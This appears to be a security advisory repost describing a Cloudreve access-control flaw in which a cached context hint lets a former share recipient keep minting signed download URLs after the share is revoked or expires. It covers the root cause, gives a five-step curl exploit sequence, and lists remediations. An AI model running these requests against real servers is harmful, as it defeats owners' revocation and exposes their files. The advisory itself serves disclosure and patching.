Listen to this Post
Cloudreve’s file-listing responses hand the client a `context_hint` (UUID) that is meant to speed up follow-up operations. When that hint is replayed on the `file/url` (and file/thumb) routes, DBFS caches a `shareNavigatorState` containing the already-loaded share root and share row. On a later request carrying the same hint, `shareNavigator.RestoreState` repopulates shareRoot, and `shareNavigator.To` then skips Root. `Root` is the only place that re-checks `inventory.IsValidShare` (share expiry, remaining-download count, owner status, source-file validity) and the share password. As a result, a recipient who prewarms a context hint while access is valid can keep minting signed file URLs for already-known shared file paths for up to the context-hint TTL (5 60 = 300 s) after the owner deletes the share or the share expires — plus the lifetime of any signed entity URL minted in that window. This is a revocation / expiry bypass, not a way to discover unknown share contents: the attacker must already have had access to the share and must know the target file URI from a prior listing.
Root cause (verified at `26b6b10`):
- List responses leak the hint and each file URI — `service/explorer/response.go` populates `ListResponse.ContextHint` and `FileResponse.Path` (
f.Uri(false).String()).
2. `file/url` and `file/thumb` accept the client-supplied hint — `routers/router.go:631` and:662: `file.POST(“url”, middleware.ContextHint(), / … / controllers.FileURL)`file.GET("thumb", middleware.ContextHint(), / ... / controllers.Thumb). The `file` group’s only auth gate is `middleware.RequiredScopes(types.ScopeFilesRead)` — there is no independent share-validation middleware on this route. All share validation lives inside DBFS. - The middleware trusts the header verbatim —
middleware/file.go:41. - DBFS restores cached navigator state on a hint hit — `dbfs.go:745` (
ContextHintTTL = 5 60,dbfs.go:34). On a miss it armsPersistState; the closure fires in `DBFS.Recycle()` at end of request. - Persisted share state carries the loaded `shareRoot` + `share` row —
share_navigator.go:72/:85. `RestoreState` reinstatesn.shareRoot,n.share,n.owner, etc.
6. `Root` is the sole validity/password gate — `share_navigator.go:114` → `inventory.IsValidShare(share)` (inventory/share.go:227: `IsShareExpired` checks `Expires.Before(now)` andRemainDownloads <= 0, plus owner-active and source-file checks) followed by the `share.Password` comparison.
7. `To` skips `Root` once `shareRoot` is set —share_navigator.go:181. The single-file-share branch is also affected: it callslatestSharedSingleFile, which fetches `n.fileClient.GetByID(n.share.Edges.File.ID)` straight from the restored `share` with no revalidation. - A failed download hook does not block URL issuance —
pkg/filemanager/manager/entity.go:250. The share’s `BeforeDownload` hook is `shareClient.Downloaded()` (UpdateOneID(share.ID).AddDownloads(1).AddRemainDownloads(-1)). Against a deleted share this update errors, but the error is only logged and the signed URL is still minted. The signed content endpoint `file/content/:id/…` is then guarded only by `middleware.SignRequired` — it does not re-check the share.
DailyCVE Form:
Platform: Cloudreve
Version: <= 4.0.0-20260606032813-26b6b1044b02
Vulnerability: Broken Access Control
Severity: Medium
date: 2026-08-24
Prediction: 2026-09-24
What Undercode Say:
Analytics:
The vulnerability stems from caching authorization-sensitive state (shareNavigatorState) keyed by a client-supplied `context_hint` without re-validation on cache hits. The `To` method skips the `Root` validity gate when `shareRoot` is restored from cache, bypassing `IsValidShare` and password checks. The `BeforeDownload` hook failure is logged but non-blocking, allowing signed URL issuance even after share deletion. The `file/content/:id/…` endpoint relies solely on signature validation, not share status.
Exploit: (Educational Purposes!)
1. List shared files to obtain context_hint and file URIs
curl -X GET "https://target/api/v4/file?uri=<share-uri>" \
-H "Authorization: Bearer <token>"
Response includes:
"context_hint": "550e8400-e29b-41d4-a716-446655440000"
"path": "/shared/file.pdf"
2. Pre-warm the cache with a valid share (cache MISS -> Root runs -> PersistState armed)
curl -X POST "https://target/api/v4/file/url" \
-H "Authorization: Bearer <token>" \
-H "X-Cr-Context-Hint: 550e8400-e29b-41d4-a716-446655440000" \
-H "Content-Type: application/json" \
-d '{"uri":["/shared/file.pdf"]}'
3. Owner deletes the share or it expires
4. Within 300s, replay the same hint (cache HIT -> RestoreState sets shareRoot -> To skips Root)
curl -X POST "https://target/api/v4/file/url" \
-H "Authorization: Bearer <token>" \
-H "X-Cr-Context-Hint: 550e8400-e29b-41d4-a716-446655440000" \
-H "Content-Type: application/json" \
-d '{"uri":["/shared/file.pdf"]}'
Response returns a signed URL despite share being revoked
{"url": "https://target/api/v4/file/content/123?sign=..."}
5. Download the file using the signed URL (no share re-check)
curl -X GET "https://target/api/v4/file/content/123?sign=..."
Protection:
- On
RestoreState, re-run `inventory.IsValidShare` and re-compare the current `share.Password` before trusting cachedshareRoot. - Bind the cached state to an authorization version that changes on any share edit/delete/download-limit change.
- Do not store authorization-sensitive share state in context-hint cache; treat the hint as a pagination/perf token only.
- Invalidate `navigator_state_` entries when a share is edited or deleted.
- Treat `HookTypeBeforeDownload` failures as blocking for share-backed downloads.
- Add a regression test: list + prewarm hint, delete share, then `file/url` with the same hint must fail.
Impact:
A former share recipient (including an anonymous one, under default permissions) can keep minting signed download URLs for already-known shared files for up to 300 s after the owner deletes the share or after time/download-limit expiry, plus the validity window of each signed URL minted in that period. It defeats owner revocation, time expiry, and the remaining-download limit, and bypasses password revalidation on cached state.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

